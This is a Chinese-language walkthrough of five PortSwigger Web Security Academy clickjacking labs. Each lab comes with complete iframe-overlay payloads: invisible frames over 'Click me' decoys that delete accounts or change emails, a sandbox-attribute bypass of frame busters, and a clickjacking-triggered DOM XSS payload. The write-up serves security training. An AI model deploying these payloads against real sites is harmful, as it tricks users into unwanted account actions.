Burpsuite实验室之点击劫持
这是BurpSuit官方的实验室靶场,以下将记录个人点击劫持共5个Lab的通关过程
lab1:
Basic clickjacking with CSRF token protection
带CSRF令牌保护的基本点击劫持
目标:官方给了一个账号密码wiener:peter,让我们登陆到后台,后台有删除功能。我们构造payload页面并显示click me一词让受害者进行点击。
后台的删除功能,我们要做的就是构造诱导用户点击这个删除按钮,该页面地址为(payload需要用到)
https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account
我们的payload利用了iframe标签,以下是body中的内容,其中的width、height、top、left需要自行调节对准即可,opacity透明度设为0.1方便调整,在真实情况设为0将它隐藏,用户不会知道自己点了什么
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Test me</div>
<iframe src="https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account"></iframe>
在exploit server页面添加我们的payload看看效果
效果如下,点击Test me真就删了千万不要点
效果不错,我们最终更改payload的透明度并把Test me改为Click me
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:500px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://0ae9004604abaa52c04e12520045005c.web-security-academy.net/my-account"></iframe>
这次啥也看不见了,受害者会好奇的点击我们的Click me,此时其实完成了删除用户的操作
验证结果,点击Deliver exploit to victim成功通关
lab2:
Clickjacking with form input data prefilled from a URL parameter
使用从URL参数预填充的表单输入数据单击劫持
这次目标变了,让我们更改用户的邮箱
定准位和lab1一样,找到update email接口的url更改iframe的src即可,最终payload如下
<style>
iframe {
position: relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position: absolute;
top: 450px;
left: 80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a5d00cc033dfde8c0712b5e00060032.web-security-academy.net/my-account?email=tpaer@hack.com"></iframe>
lab3:
Clickjacking with a frame buster script
用框架克星脚本点击劫持
这关表明看起来和lab2是一样的,也是邮箱
但是用和lab2一样的payload发现这个站点并不能被iframe框架化。因为可以框架化的站点都可能会遭受点击劫持攻击,开发时可能会做出一些防护设置如
检查并强制将当前应用程序窗口设置为主窗口或顶级窗口
让所有框架不透明化
阻止点击透明的框架
拦截并标记潜在的点击劫持攻击位置
这种技术防护是基于浏览器和平台的,有的浏览器会阻止运行破坏框架脚本或不支持运行JS脚本,攻击时有很多方法可以绕过。
通过iframe沙箱属性sanbox="allow-forms"进行绕过,最终payload如下
<style>
iframe {
position: relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
div {
position: absolute;
top: 445px;
left: 80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0ab000ca03c23aa4c00f023f005d00cd.web-security-academy.net/my-account?email=tpaer@hack.com" sandbox="allow-forms"></iframe>
lab4:
Exploiting clickjacking vulnerability to trigger DOM-based XSS
利用点击劫持漏洞触发基于DOM的XSS
这关是DOM XSS与iframe结合进行攻击。
一个提交页面
寻找可用的DOM,源码发现引入了一个js文件
查看源码发现存在DOM XSS的部分
通过iframe成功帮助实现DOM XSS攻击
最终payload如下
<style>
iframe {
position:relative;
width: 700px;
height: 500px;
opacity: 0;
z-index: 2;
}
div {
position:absolute;
top:415px;
left:80px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe
src="https://0a1e00db03d7474cc0aa2590001200a3.web-security-academy.net/feedback?name=<img src=1 onerror=print()>&email=tpa@hack.com&subject=test&message=test#feedbackResult"></iframe>
lab5:
Multistep clickjacking
多步点击劫持
这一关要诱导用户点击多个按钮
在点击完删除按钮后,会跳转页面需要进行确认
效果如下,第一个按钮
第二个按钮
最终payload
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:495px;
left:40px;
z-index: 1;
}
.secondClick {
top:290px;
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://0a4d002d03b4a808c055056300d200b8.web-security-academy.net/my-account"></iframe>